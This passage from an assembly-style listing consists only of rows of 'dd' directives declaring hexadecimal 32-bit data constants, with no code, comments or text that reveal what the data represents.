		dd 55BE8Fh, 3C28490Eh, 53BA0Ch,	0E2344373h, 3923ACD4h
		dd 72A35C1Fh, 8098638Eh, 0D2CCE965h, 3421070Fh,	9010A0D4h
		dd 11786B83h, 74BAA200h, 5D3922C8h, 0C7A1CEBh, 34414179h
		dd 0E07E7865h, 0B700E803h, 5899FA91h, 1150E2F4h, 6910D6h
		dd 64B7EC46h, 198DC61h,	9170390Bh, 0B69C88BAh, 4659D158h
		dd 0B73E034Bh, 40E9EFA7h, 88302C50h, 0B71CC9E8h, 300975Ah
		dd 47FF24Bh, 30951810h,	78DDA51h, 40CDD600h, 975056Ch
		dd 0AD18CF57h, 106442A4h, 80AF3FBCh, 6F417C36h,	25D18601h
		dd 88D83CD8h, 7AEFDA00h, 614EBFADh, 4505006Ah, 0EEB6E613h
		dd 8E00F8AEh, 0B01A5F3h, 72A1A6DEh, 4471CDh, 84829EE7h
		dd 0ADAA75B4h, 0E0279700h, 0B2BE450Dh, 0E3C100E5h, 0D33119B3h
		dd 1A3A8438h, 7A00FCD7h, 42C45CCBh, 0D56A62h, 81FAE3CCh
		dd 0F5ADF76Bh, 9A1FDBB0h, 44875749h, 0D0D0DE1Ch, 710B40Ch
		dd 0FC35B541h, 0EB26A2EDh, 9E5BD760h, 87CE5206h, 1D18EEF8h
		dd 5D29E0FEh, 0D9807DB6h, 977A8318h, 62007392h,	0CF1D2713h
		dd 0B1F37Eh, 6BD47491h,	8BF25FE5h, 4FCAAB00h, 0BC23A4ADh
		dd 0C440C018h, 0FB29ECBEh, 0AD0461D0h, 490180Fh, 922EE0FBh
		dd 0EA540314h, 0D3565D18h, 7E386F88h, 0A30ED00h, 70761229h
		dd 898C0032h, 52F85463h, 2D067591h, 0C85ECA3Eh,	74060051h
		dd 0E7C1CE34h, 0C700D2A2h, 0B554DF75h, 3ED6A0h,	99FF8ADCh
		dd 6A6BE7C0h, 9D1DEC14h, 8E08F020h, 40786B9h, 0A5326D81h
		dd 78884A16h, 78D749DBh, 89DA1501h, 0E159D537h,	0D910885Bh
		dd 6C144038h, 310009C8h, 9304D75Dh, 7136977h, 0C133522Ch
		dd 705CC02Eh, 0FE023467h, 0F589B20Ah, 16B6272h,	43DA1884h
		dd 0F15003DFh, 0A3667AA7h, 0EC088800h, 132289FAh, 6CBA010Ah
		dd 5D2DA7B4h, 0D4B450C1h, 85009E6Dh, 67300A16h,	310C3D8h
		dd 8D1AC156h, 611B32C8h, 3C88B7CDh, 0D74871B0h,	40A74865h
		dd 1F646620h, 0DC421A05h, 0B07736A7h, 0D022084h, 63039865h
		dd 6F1015A9h, 9304C0B6h, 0EB9746ACh, 41C0637Ch,	0E89A3872h
		dd 12289015h, 40304184h, 0BE6D5140h, 540761DCh,	587B683h
		dd 61590CE2h, 1887DEA6h, 202F3F4Bh, 977CE7C3h, 0A9720107h
		dd 208AC68Fh, 0AD29C440h, 0CE8111F6h, 997DF158h, 55075E01h
		dd 31060D4h, 0BC109804h, 5710381Ah, 0ED6182B4h,	4C8B1815h
		dd 0A7531E78h, 0C1047420h, 0B0B2AAFDh, 8387EF78h, 77150C8Bh
		dd 5FAF8011h, 13255EA0h, 5870B58Eh, 0E2049A3Fh,	34292740h
		dd 3057EE71h, 2CCA0240h, 3E3FFBB7h, 16856A11h, 0C405B0D4h
		dd 151DE228h, 0EAE1B080h, 0B62058E3h, 82DB0105h, 802A895Ah
		dd 32D42B7Fh, 0B0E38720h, 0F0603AF1h, 0C0A0ABCFh, 0BC3075A6h
		dd 0ECC1282Ah, 0E916247Dh, 41F102E0h, 4C60FC74h, 0EF1D0E67h
		dd 0B7C26E84h, 68FAE882h, 20757A58h, 733C6419h,	0C25713A4h
		dd 20FE100Ah, 0C3CC9660h, 6B4285A9h, 0F5041CA3h, 0B6446C6Fh
		dd 0A5437F7Ch, 0C302C889h, 209FB41Bh, 340ED187h, 15183942h
		dd 0D4B0A710h, 0B129320Eh, 4F588057h, 120A5C2h,	9C1A71ACh
		dd 0A3211FB5h, 0C09AAE0h, 860AFFBh, 0E470BFF7h,	802B5223h
		dd 0C08BB1h, 0F977AC79h, 261D7C64h, 60A83830h, 0C7D6673Ah
		dd 50F01021h, 0C89973AFh, 880404Ch, 0EE07D11Eh,	4C0BA3F9h
		dd 0DC157428h, 0E740D004h, 65055878h, 707BA73h,	251AEC11h
		dd 3B3C1324h, 3D804342h, 10A22467h, 0E7C1D123h,	50603ACBh
		dd 7C116ACDh, 9FF2EC7Fh, 64763F16h, 0F136B38Ah,	132C5480h
		dd 0FA41685Eh, 421032D2h, 0F947CBE5h, 0BB4B7E07h, 2A0D14BCh
		dd 985B427Ch, 21983A40h, 0D151D97Dh, 0EC041CE6h, 4245B15Dh
		dd 40A5657Ch, 0FFDBDE82h, 691415E4h, 1771B020h,	405C574Ch
		dd 0E730B58Fh, 7DFD6AC0h, 0B9948F5Ah, 9187B020h, 0A2A24237h
		dd 327020CDh, 0A30514B4h, 2A51F854h, 5220CD8h, 0AC955F04h
		dd 0DE6C84E2h, 0AA5B0B2Ch, 54C161Eh, 5280597Ah,	0FF206CC7h
		dd 0EC844CB1h, 0DA012D94h, 36421D06h, 3F5B0F48h, 60B528C7h
		dd 0E6857D48h, 0C5578607h, 2F814640h, 6EE0A0B2h, 0FF96034Eh
		dd 11DAF491h, 0D6173FB8h, 28BC40Dh, 200A18FDh, 0E7AF4310h
		dd 75FEE4A0h, 17988FC5h, 7C95E981h, 0F4900091h,	0B48020BDh
		dd 7500A19Bh, 9469E0DFh, 3B5E5BBh, 90F0D7FEh, 1BE0FB98h
		dd 511FBA0Ah, 0AD0F8D31h, 6BCC01D4h, 205989D8h,	234171FCh
		dd 0D8E2CE2Dh, 0B9081C6Ah, 54174B57h, 0C0AA8021h, 0C59A20Fh
		dd 94C8D547h, 4950558h,	0FC301352h, 43C87CD7h, 1FA081ACh
		dd 405E2F12h, 8020BC2Bh, 1A8193DBh, 0CE47132Dh,	0C179C4C8h
		dd 0FD65EDC0h, 80857F1Fh, 210F9723h, 40AF25FAh,	0B4F810h
		dd 8DAFC8C0h, 0F770B83Ch, 0BDB08F7Ah, 54CC7100h, 0B0ADF0E1h
		dd 9AF024h, 0D2FC28B3h,	8558F19Eh, 0FAE6E705h, 0A10AEEDEh
		dd 87DA20AFh, 208AE0D4h, 93FACD40h, 10112B35h, 6E46C240h
		dd 640C114h, 5E22FB05h,	20522940h, 0C09AF460h, 0C8AE474Dh
		dd 0FE25587Eh, 6A9B500Ah, 8AF16016h, 0F875010Bh, 0B3C8166Dh
		dd 784E880Ah, 0D12BEF7Ch, 5AC4202Bh, 0FE15DF3Ch, 0E1601CA7h
		dd 804EA906h, 0B1050879h, 76F9AD6Ch, 6A04A04Fh,	2A0D0489h
		dd 67208229h, 3C83F70h,	5E6E4454h, 0B7841900h, 0E6DCE0E8h
		dd 0D8703DB8h, 451D6381h
		dd 818C4D37h, 0D19FA338h, 5184846Ch, 4ECFB6AEh,	1D4B217Bh
		dd 28E05ECCh, 0AEBE1FD9h, 0B9B70080h, 6B63BC17h, 7127E704h
		dd 85212BF9h, 7EA0858Ch, 202750F7h, 653CAC44h, 1841CB40h
		dd 186401AEh, 16180921h, 0AF58E41Fh, 31796F65h,	15312E8Eh
		dd 9471F6h, 9A446721h, 39593Ah,	0AD5C9BCFh, 9692D030h
		dd 71E85D0Eh, 0FA38B829h, 0AD90C049h, 8D5A2019h, 5F88BC07h
		dd 0FB20F979h, 0D91C08h, 26C2A482h, 0C545B55Ch,	8A9C7700h
		dd 1DAD86A7h, 6587423h,	9D66D980h, 4418508Dh, 3B784512h
		dd 7D23751Ah, 17DB00BBh, 9284972Dh, 0E45290E6h,	335B01C8h
		dd 0BD192BD9h, 132006F3h, 688B3D10h, 3528E400h,	0E29D4801h
		dd 0FF8400DCh, 9946D0E3h, 4B1D1B6Fh, 3A8F5BB6h,	28F1209Fh
		dd 18D8ADAFh, 80539246h, 0F0A4D63Ch, 0B8045900h, 92E69929h
		dd 0D2A0002Eh, 1D0DE343h, 0EE00CE26h, 23E28107h, 0ADB878h
		dd 0AEBE7DFh, 8AA5C88Ch, 0BABF5E01h, 27873A8Eh,	4E41A450h
		dd 0C066500Dh, 9295E237h, 9E9D0A04h, 905FA4h, 2029FC0Bh
		dd 6C007B8Dh, 0AC2BDFB7h, 3E37C03Fh, 0A19BBA5Eh, 3102F0A0h
		dd 6939B3D9h, 15888F41h, 0C59903D4h, 38A7D438h,	82A89E28h
		dd 688002B4h, 0C201A809h, 45B05C43h, 20634387h,	0EBD12988h
		dd 70A00644h, 51242B58h, 6520B515h, 0D59218E8h,	91FFE68h
		dd 5D2F02A9h, 0B9E98800h, 0A1F875E2h, 0A81B9429h, 38550074h
		dd 92827F0Dh, 6330101Dh, 0EFDF80ACh, 18796F24h,	0BE862A02h
		dd 0C65EFC80h, 8B484D9Eh, 0C0DF30ACh, 0D7BC80h,	6C3431C7h
		dd 0B19C01D2h, 21A45B02h, 4018D1C1h, 52A1659Ch,	1100AC05h
		dd 7CCC07BDh, 0DA5599A8h, 0E21BCCA0h, 4858A90Fh, 61CE8C9Eh
		dd 0F08CA442h, 0DBE0A02Ah, 0A0A974F7h, 60F1B3CCh, 4E262847h
		dd 50A09C7Ah, 0C401049Fh, 0ED52F321h, 0A4D0EE95h, 3B10A1F7h
		dd 0D9CB7883h, 409D2A5Bh, 753C4BC8h, 6B7CD5CCh,	0D4553829h
		dd 0DF820C29h, 0A9271BD2h, 1470h, 0F9B9D73Ch, 1D242606h
		dd 0A788E601h, 0DE8ACD52h, 8097E7F0h, 3300A182h, 2DA0A453h
		dd 7A8508Bh, 80B8B776h,	0C87B10CCh, 0B30E126h, 0CB5130F9h
		dd 7E73142Ah, 176C81Dh,	53D38DC4h, 82471144h, 0D0873580h
		dd 217040B1h, 911570A9h, 70C70B24h, 621C0C80h, 397758FAh
		dd 0A6AD48C3h, 1091D401h, 0B850B6D6h, 1BAC670h,	45E76ECEh
		dd 22C7A5B3h, 350E00B4h, 9525C6C0h, 0C149AAAh, 710D4BC1h
		dd 0D34C02F1h, 24BD2650h, 6F966C80h, 4EDC680h, 385FDC85h
		dd 6A48D059h, 0EC045E55h, 0BE8523Fh, 43ABC4D2h,	0BC41ED4Ch
		dd 820E74F7h, 0B91830B1h, 0FA2608AEh, 0CBD8985h, 1846505Eh
		dd 1AC4061h, 9003220Fh,	63AD8099h, 4808C086h, 8D021210h
		dd 0E4FF7AA7h, 0F6708C81h, 406AF15Bh, 0D12A4D80h, 7D44F920h
		dd 713926DCh, 51AD01A0h, 0F57FC924h, 0CAAC41A7h, 50C41D9h
		dd 19381187h, 0B1B3B850h, 0A94982Dh, 741F86EBh,	999D04CCh
		dd 5E889032h, 6C65C7E8h, 0A406B818h, 7C1B367h, 0CB54D23Ah
		dd 28BD9590h, 21339E24h, 0E9B3182Bh, 0C8619BC3h, 6323A800h
		dd 0F3C88ACh, 869D0620h, 0F467C30h, 73D17B8Eh, 0A1CF74E0h
		dd 0B300F090h, 854B03F3h, 3FEE23Ah, 72E73775h, 7EF08233h
		dd 6F0105C5h, 0A06BA34Ch, 89E029EAh, 14FE0018h,	0D18522BBh
		dd 0FC0F0649h, 322D83h,	0BCF4D22Bh, 5724004Ah, 0EC5D0455h
		dd 3D78A1DBh, 3F0088F2h, 4586F9BDh, 7F15FCh, 0B022C6C8h
		dd 0F4FBCEDFh, 8BBE1900h, 69710577h, 0DA723FDDh, 3D1F00F8h
		dd 472E12C4h, 0E003434Bh, 6FB1C22Ah, 689DC06Eh,	0D62F0019h
		dd 761B7BBAh, 9A1E10F3h, 1D04D3A3h, 55C0D5FAh, 220DBF8h
		dd 375EF1DCh, 3C82B172h, 9230A469h, 11B542DCh, 0F98250C2h
		dd 2B106F75h, 0F2108CC0h, 7F9CD411h, 2E0CBBC4h,	0F0DD98E8h
		dd 0E18A0A1h, 0E8228805h, 21EA0830h, 14E3BE14h,	30795325h
		dd 4271A685h, 0B1B59018h, 0EDFC5320h, 0D5AE0E6Ch, 0F2C1A87Bh
		dd 4CB6C43Ah, 0AB218560h, 0B21F0859h, 6728D2C7h, 0C29C8A91h
		dd 518B00Bh, 0AA688CA5h, 8E459CDEh, 0C16DD870h,	0F7538456h
		dd 634A103Ch, 0D3E149C8h, 0C301B439h, 0F0ADF495h, 887C7700h
		dd 977E74C2h, 0D5060AA8h, 0E4F4C0CDh, 0BEAD3171h, 70218A18h
		dd 58B214F0h, 317611C5h, 18BCCFF4h, 14064326h, 843C9771h
		dd 893103CBh, 0C1D010A5h, 71283395h, 310832C1h,	45B0DEAFh
		dd 0A54302Dh, 4284AE85h, 147502C6h, 83DFD57Ah, 1006ACE8h
		dd 0C586D231h, 6C212B0Ah, 0C44DC3FDh, 0DA1879F5h, 0A5217343h
		dd 6241602Bh, 1841D5A9h, 151FD199h, 1530522Ah, 859C91D1h
		dd 8432EA13h, 938238A9h, 6C025386h, 0D899C914h,	626CDFCAh
		dd 811966FAh, 540FD85Ch, 46793CDFh, 62217BA4h, 0C2F211ADh
		dd 106E6CCDh, 218CB20Fh, 0DC8D7782h, 3C0768D6h,	11B1D052h
		dd 43061C95h, 2C561130h, 7A2FE203h, 41C529FEh, 95C20FFCh
		dd 3018D31Ch, 0DB61337Ch, 0D5228666h, 30FF64A2h, 0A4C950Bh
		dd 4D86E44h, 8B16FF4h, 67E68814h, 30D23D62h, 30A80AFFh
		dd 60A4A36Dh, 0D8A6BE7Ch, 31100647h, 7E8BC47Dh,	0C730E61h
		dd 15D2466Dh, 113C080Bh, 0DA89BFBDh, 9BAD4490h,	93605F00h
		dd 2E7DA9A8h, 277B0195h, 92F4F999h, 98A0B8ACh, 97206822h
		dd 53DD24F3h, 59033EDFh, 28AFBFDEh, 0E0EDC03Ch,	89D505B0h
		dd 7DAC2446h, 4F510CC0h, 7853AFD8h, 119C0F24h, 0F25A0423h
		dd 0C868CE32h, 0A4336005h, 0E23C4845h, 0D50C8272h, 5D588490h
		dd 7C155642h, 0F9D07463h, 0F3184594h, 0E428A01Eh, 50634D25h
		dd 9D741862h, 27244E00h, 0A00F008Fh, 98A4E597h,	0D52CBB95h
		dd 86868815h, 596BC1h, 0A2965F38h, 0F92CE1A1h, 894BA52h
		dd 588BA345h, 1E62CE48h, 0BA62E0h, 0C16F0B2Dh, 7480BE60h
		dd 31F3469Fh, 5A10A1DEh, 2D84500Eh, 0B7EEF19Bh,	8CE4FE50h
		dd 91509374h, 390F2CB0h, 58F34410h, 3AF4A998h, 2B004623h
		dd 3E2CA12Dh, 88C1E89Dh, 6E097C3Ch, 6C05C020h, 0BA18F9FEh
		dd 0FC425F29h, 2C72988h, 8D109569h, 42229F01h, 29816035h
		dd 0EB80897h, 0DCD425CFh, 7800965Ah, 8B154B48h,	54422888h
		dd 47987Ah, 0DE455C4Dh,	0FB053196h, 0E1CAD0B8h,	0F7016892h
		dd 0B441930Eh, 0D3875184h, 0C22C4553h, 5EF76005h, 0EC343C03h
		dd 81ACE2F5h, 61C527BCh, 61A426E0h, 294B1186h, 0FC90508Fh
		dd 0B900AE10h, 5293B5D4h, 2EDD56D9h, 0F939D2Ah,	9E063Dh
		dd 0BBDAC9B6h, 5903CC2Ch, 0E22FE909h, 3B110045h, 73355C70h
		dd 0B0076EFh, 53A5AC93h, 432CF0h, 233CFD2Eh, 110FDFB5h
		dd 73079CB0h, 351E0245h, 34DB42F0h, 93A103E0h, 0E8448994h
		dd 2970C0A8h, 57615214h, 7E8C0848h, 80258022h, 435D7150h
		dd 48F2F603h, 14D81ADEh, 0C58B168h, 345FFE0Eh, 0FB862A03h
		dd 370976C0h, 5AA15818h, 556F5B20h, 0C5E118B2h,	716E0h
		dd 0A090939Dh, 8C73C3E8h, 0B4B14806h, 18E09810h, 0C023A237h
		dd 65188D6Fh, 0DEF159E3h, 0A81F60B6h, 0FE817151h, 32F2F500h
		dd 0BF6F8E17h, 7A14A058h, 89B0C539h, 0C8141876h, 0DF80E486h
		dd 6F2F16C6h, 1AB601F0h, 0D4763DFDh, 0C05298Eh,	0E6F40B3Fh
		dd 252A9C01h, 9086220Eh, 19140A80h, 0F0D02950h,	0F734CE06h
		dd 7810198Dh, 6CF40367h, 9BBF0983h, 574E805h, 0C802318Ah
		dd 0E5480Bh, 20D1AD72h,	0DE8158DDh, 0FD1913A8h,	7D2DA440h
		dd 0D5A8C0E6h, 573A948Fh
		dd 0C62E3401h, 9C5A180Ah, 58DB5885h, 7448033Bh,	5114D235h
		dd 83A8DAE4h, 0C1E84FFCh, 9080A6B0h, 1FFD0DEh, 0C0C3CB8Fh
		dd 0E06A8BE9h, 6AE4198h, 9E252C1Dh, 0E40C70BAh,	4813C4B2h
		dd 74CC0272h, 6E4C32E9h, 4005B48Fh, 0AC2C00DBh,	768D577Ah
		dd 20541433h, 0ADE4D191h, 14BB1F3Bh, 357CB8F8h,	241BFEFh
		dd 422FB578h, 0F15224A0h, 2A0ADE4Fh, 488A19D1h,	1CC2DC40h
		dd 580A01Dh, 878C007Bh,	1BF87F6Ah, 67001964h, 8B7CED82h
		dd 0F980080Ah, 18E390DCh, 282BB61Eh, 0F33F07D4h, 7E30951Dh
		dd 9AF90008h, 0CD14B462h, 9C5300D7h, 724B635Ah,	0D0748004h
		dd 0EB510565h, 0CDB827C0h, 0EEE5187Fh, 4A9859B2h, 0F5DFE000h
		dd 845DF6E1h, 71670C6Dh, 0FF698040h, 2D6F1E03h,	1D50EBEh
		dd 16220510h, 80730401h, 0ED62C868h, 30FB6711h,	0FF387DA6h
		dd 411E8D35h, 0B0FF5C66h, 0EB867162h, 1558E41Dh, 34720DDEh
		dd 26615100h, 0C253B9FCh, 93FE9107h, 70B04F6Eh,	0E2E21005h
		dd 5E8600CFh, 857BB5F6h, 0A4A8E69Eh, 94002CD4h,	0FD05C1F5h
		dd 0A0B3BDCCh, 0AFDF88h, 4788EA8h, 83C20DDAh, 0DB5A1F00h
		dd 0FF6C2ACDh, 4728C0CCh, 7170F94Ah, 1EE20C1Bh,	3FB100D9h
		dd 0C6E863F6h, 0CD00DAFBh, 5FDE25Ch, 6514802Bh,	203480CEh
		dd 4C9B8220h, 0EA6069F0h, 0F53078E8h, 56410F07h, 0D0B5D85Bh
		dd 5054FE00h, 16409E5Ch, 7460BDF8h, 0E1C88118h,	96530637h
		dd 7950A933h, 79C6018h,	5384921h, 827B9D4Fh, 9D805F8h
		dd 6CD0030Dh, 5BC0739Eh, 578C20Bh, 69104565h, 471EB45Eh
		dd 0F5A9DE06h, 282A7811h, 6218334Ah, 0F2592032h, 4A72F120h
		dd 0C3B0ABA3h, 0EB501998h, 949211F6h, 6309130h,	1B4A71D1h
		dd 0C75D3021h, 7D273AF1h, 9A608CE2h, 4556F8C8h,	0C8342860h
		dd 5B7C38A8h, 31CA6398h, 0B07BF33h, 4F783A5Dh, 7AF28730h
		dd 77C50C6Ch, 97614551h, 7D5FA500h, 1D8AEF79h, 36D6002Eh
		dd 200DFF0Eh, 17B0AE3h,	7CF6CD09h, 0F894209Fh, 498B7A2Ah
		dd 0CA05B812h, 0E64550h, 0CC9522B4h, 7E034BD2h,	0C03783C1h
		dd 8950E0DCh, 98EA00D8h, 0B31AC25Eh, 68F6C50Bh,	2EDE512h
		dd 614E1841h, 58200D04h, 0EC38507Ch, 1E7940B7h,	7A1FEF01h
		dd 0DBA87840h, 6BA0CE4h, 0EC87F5A6h, 990018B6h,	0A432D62h
		dd 0CC4F6E2h, 0EF7DFF11h, 4406FB1h, 0B4A749C3h,	20614C12h
		dd 9427FD34h, 66FC620Ch, 48CE410Fh, 0B322C03Fh,	14E32C24h
		dd 8E41FD80h, 15BA24CBh, 24F94F59h, 7EC79600h, 0F84A2638h
		dd 78787530h, 723F1FDFh, 60D1F06Dh, 0FDF74947h,	0F1124D15h
		dd 800377F4h, 90469725h, 12D03BECh, 53E789E6h, 791909C8h
		dd 0C5F142Fh, 8719178Bh, 0EF25A20h, 465BF25h, 606C1E83h
		dd 0A314B97Ch, 78648E4Ch, 8FC0835h, 0EA971400h,	778350Fh
		dd 6498A46Bh, 837A54D1h, 590F3E8Ch, 0D761F6Ch, 0E16FB922h
		dd 4372E19Ah, 30117E10h, 0A433F76Bh, 3100D520h,	963BA25h
		dd 4D787Eh, 0F252FFBBh,	0C306D8B5h, 82006090h, 604186CEh
		dd 24E3E26Eh, 8074E480h, 797E0895h, 7A14D9E5h, 60C3B8Ch
		dd 0D5968188h, 0C4090938h, 6C012E8Fh, 892B35B5h, 4483918h
		dd 5D4904B8h, 6E78BC90h, 0E60C2EF0h, 202D7BEDh,	29DF632Fh
		dd 0A2B028D6h, 0AD15B892h, 45C904Ch, 0A9631642h, 7324B491h
		dd 0DE5CBC20h, 0B5BD0F59h, 1008810Ah, 0B8EC2AF7h, 10C64FF0h
		dd 40217888h, 9C403AFCh, 8470995h, 0AC05BA0Ah, 0C53C92C4h
		dd 0EBFA20C8h, 72AAF261h, 7C60EAE5h, 2B02094Dh,	0A007B2F6h
		dd 60006918h, 7EB31F82h, 4F078C90h, 0CD2D7F5Eh,	0B89C9683h
		dd 4954E5A7h, 787F08C0h, 0E8F01489h, 6900802Ch,	0D0F5798Ah
		dd 0D80BC425h, 206750EEh, 532CE0ACh, 94D11DFCh,	0E1CC095Bh
		dd 0FA224420h, 0EF282B25h, 0D805E0C6h, 0C9F62AD9h, 20816449h
		dd 77ABF740h, 72CF18DAh, 0A079C8EBh, 7D6DECA8h,	174DC172h
		dd 2D540030h, 84CCEE2Ah, 840B515Fh, 0A7C9E1F0h,	0EB870278h
		dd 24620A2Ch, 40F4F04Bh, 0DE77AAE7h, 7408A028h,	9ABEF071h
		dd 685D2AE0h, 0EF1D07CCh, 85282F9Eh, 4E944E5Eh,	19C0FBAFh
		dd 0B5F1F0FFh, 7A04FE59h, 46D3F905h, 4490B160h,	605FB78h
		dd 67F38D53h, 9702712Ah, 5D33158Fh, 0F698604Ch,	46F7C6Ch
		dd 0EBEE53D8h, 0C4A4D1B2h, 35F2E1FBh, 10D81A38h, 58002D30h
		dd 4D7CE610h, 0F230C2CEh, 0C4DCA8EAh, 0A7E22419h, 1DF60784h
		dd 0DA2000E9h, 0A028114Ch, 0AC909002h, 14CBA32Ch, 0DC200516h
		dd 646011Ah, 65C16308h,	0C4001087h, 3D4B459Dh, 1D54C8Ch
		dd 5F66BDFDh, 0F09E7E47h, 62001531h, 55FBC140h,	7232ABD7h
		dd 16400A1h, 56683373h,	0EF009D70h, 524DC044h, 0D69EC6h
		dd 6BBF32AAh, 89A1B293h, 27495500h, 7FEE8E9h, 7E2C1E72h
		dd 0C97A9D33h, 0C8804D1Eh, 0FF524EBFh, 0F1271607h, 11CCBE15h
		dd 0C9EE11D1h, 18ED4CC7h, 1148CF5Fh, 46F803CBh,	97F9492Fh
		dd 2DA09BE8h, 0BFFFEE00h, 8DC444ACh, 20546614h,	360C4043h
		dd 0D881C745h, 77D9283Bh, 0A9E18080h, 9748A885h, 0E2C68047h
		dd 7190CC30h, 0CE5F4B1Bh, 0B500BF50h, 0E8D43D0Dh, 0E1A74F07h
		dd 3801DDCh, 59F6E3h, 1C3E68AAh, 72DBB9D5h, 0C4454B14h
		dd 26704058h, 19F12A03h, 0B064CF10h, 0C017D8C1h, 78E94DC0h
		dd 9060D4FDh, 72E8D211h, 804A1C63h, 0C040F79Fh,	9DC64560h
		dd 6A42D0Fh, 0C0982A1Eh, 0E8EF9503h, 1E00039h, 0EE3CADBh
		dd 80F77202h, 0C17C1151h, 0A7F1823h, 7EEEC477h,	0C6033A4Ch
		dd 4F0CE82Ah, 0D53F1000h, 0CED0D93Eh, 0F80154CCh, 68D4F1A6h
		dd 96AD269Fh, 592D0514h, 0D7A400E9h, 97146320h,	0C9C3C0F9h
		dd 21CD448h, 0C176A14Bh, 0F748FD7h, 0E6F3022Ch,	0E0948EDCh
		dd 0AF60CEC6h, 48A70181h, 0DD65E722h, 3C47D032h, 726620E3h
		dd 0C2E6A606h, 1949F1C9h, 0B117E76Ah, 0FE49E44Eh, 691E517Ch
		dd 7580A4D5h, 6D2CC528h, 0E71B07DDh, 303FAD32h,	9C7ED8E8h
		dd 0A6C64F00h, 9BCDA8A3h, 58ED6184h, 0E19A50A1h, 0D308427Ch
		dd 0B4021B39h, 1AA5325h, 0FA685C8Eh, 699440C1h,	3C067BB6h
		dd 0EC612531h, 95DCE328h, 0A13D03BBh, 0AC9C0DEh, 0D7CBC906h
		dd 3F51A4A0h, 9C8C1A88h, 2610F704h, 3B4D19C2h, 18C4A331h
		dd 0A0F91EA8h, 89293248h, 24DE7920h, 2C091E1h, 0CABE876Fh
		dd 83DB9C90h, 9A571B00h, 0A8655148h, 0B0285068h, 0DEDCA341h
		dd 2F9029h, 2A3E3775h, 0B3EEBDD5h, 58949849h, 3106269h
		dd 0F1212344h, 18115BDAh, 4E2220BEh, 40CB0140h,	9114594Dh
		dd 10E8933Ch, 0A60FFEB0h, 80DBE7Ch, 91A1E181h, 0E400B520h
		dd 0ED4CE19Ch, 49C0C5C4h, 9313B245h, 8DA3286Fh,	887255CCh
		dd 98483AF5h, 5422E7C8h, 1900E138h, 0AAEF9A0Ah,	0A87B66CEh
		dd 4A8A8E00h, 0A0E5E938h, 74690076h, 685EF455h,	1400E30Dh
		dd 89CDC6Eh, 3E03F662h,	630AB992h, 410C6F5Dh, 0CCFDB79Bh
		dd 4107512Ah, 1B2F78B9h, 0B66133C7h, 0EDE855B1h, 3872E88Ah
		dd 0AF801ADCh, 23BE7113h, 0B1009B56h, 0BB91C1Eh, 0E8A25535h
		dd 0BC3F0026h, 61437DE6h, 2F002369h, 0DC9C40D7h, 0C1C716Fh
		dd 3796F32Ah, 0F898BE70h, 4A53B800h, 1C8B6EA7h,	40CD013Fh
		dd 43F7EC23h, 0C0788E64h, 69770021h, 0EFDA84h, 6FDD1C41h
		dd 14BBE1BEh, 932A40C1h, 589C19D6h, 9D9F7DD8h, 8A840F9Bh
		dd 0C7450567h, 78BFF083h, 9C01391Ch, 510C7EF1h,	0DAE469FCh
		dd 80AB6023h, 2F4DFB6Fh
		dd 8D81F707h, 25F134D9h, 5884712Ah, 24EA13Ah, 0F02F3F2h
		dd 0A426883h, 7D9E1800h, 7ED5AC88h, 0BF961D87h,	881155BDh
		dd 64FDB905h, 0C0A81F7Ch, 83901A7Fh, 0A300F510h, 7157095Bh
		dd 79AEC99Fh, 284C7333h, 3B84056h, 187E8B2Ah, 4808CADAh
		dd 3370E25h, 0D9658EBCh, 0D8C11879h, 4E6620F2h,	52DDE9F0h
		dd 74088489h, 0C3A44D0h, 30A04CD8h, 31EC17B3h, 0D303BF90h
		dd 1066F956h, 8422D6F9h, 0DF200A18h, 0D68944FAh, 0BC2F1D0Fh
		dd 0FC27A444h, 405AC144h, 154B2C2Dh, 2DC78512h,	270DB100h
		dd 0E46090F6h, 554D02A0h, 40EB169Bh, 71924040h,	97361F01h
		dd 235A869Ch, 0B18CE440h, 53013051h, 0B8B33AB8h, 0BE3E8A72h
		dd 0E66683FFh, 733FA4E9h, 0F7330520h, 38874576h, 0C5467420h
		dd 0EDC8E00h, 1EA18740h, 27F05718h, 250B938h, 0A4F52A7Ah
		dd 76E06607h, 7B002D89h, 0E5FABF1Ah, 6FDA7Fh, 65A0FD6Bh
		dd 69EC33C9h, 6C41EA04h, 44907990h, 4927810Bh, 3216ACB6h
		dd 0FC8100E9h, 9342995Ah, 6C609400h, 7188731Dh,	280C6758h
		dd 46DF706Fh, 370351DCh, 0A54E82FAh, 7B08F89Eh,	135822DEh
		dd 8990D100h, 0C806ACD2h, 128A3A53h, 70B38E80h,	0A8DCD0Fh
		dd 0A027DD01h, 67BCDA24h, 3729980h, 0AD66018Ch,	26A84860h
		dd 0ECCAA68h, 0B347F41Bh, 395BF5E0h, 2F00453Eh,	5D704628h
		dd 601EE1h, 2D337559h, 0DEBE31D3h, 8230F601h, 51AC101Dh
		dd 0ADAEC0h, 7516795Fh,	3E04FF7Eh, 5807467Bh, 73607BA4h
		dd 0FA9947A0h, 781C00D0h, 3AE55A0Eh, 58166EDBh,	2E015CBAh
		dd 0D8AC1814h, 5BE473EDh, 0E48F0733h, 402EC198h, 9317072h
		dd 99F46C00h, 7B35CECh,	0F6983A87h, 89302580h, 8AA9C208h
		dd 7B6EAA00h, 0FA2F9D7h, 0FA7602h, 4ED493EFh, 33BA53A4h
		dd 41B438h, 58432ABCh, 0BD567Ch, 1FE2BFAh, 0E3993926h
		dd 0A1FBDF00h, 0F231BC6Ch, 0A6030048h, 4DB9119Fh, 790084F3h
		dd 0DF7D06C7h, 0B85A744Ah, 3E30050h, 936F0C98h,	0EA0FE5AAh
		dd 0C0C2132Dh, 47FE81AEh, 0D6E00003h, 0DCDAAB9Ch, 8B3B0F65h
		dd 25C238C5h, 0DFD46Fh,	7BE34596h, 0A80010C3h, 73A772BAh
		dd 2D41E6h, 2BD30DD9h, 9ACF8BCBh, 18CAEE03h, 6D8117h, 0CC0804F2h
		dd 37D0AEC2h, 6EB31200h, 890CC644h, 0E17F0011h,	8D7B3D06h
		dd 3F00F7A2h, 53A5E657h, 157C3Ch, 739EA948h, 0EEB85EDEh
		dd 0F8847D00h, 3686B3AAh, 0B95C00EBh, 0DC60ED1Dh, 410096E1h
		dd 7993A744h, 3865BF1h,	0E0E8D406h, 30E877DAh, 0D01FAFFCh
		dd 0BB5CD5A0h, 0D0A71B0Ch, 1F150107h, 32587462h, 0C9E0CEEBh
		dd 290CF0F2h, 583EA620h, 22E900E4h, 253C896Ch, 0CB0708F1h
		dd 0A58072AAh, 5799C527h, 0E5736080h, 17006DD0h, 0D58B6FDBh
		dd 0B263B7h, 9447DAC6h,	57043EC9h, 18EBB300h, 9297FF1Ah
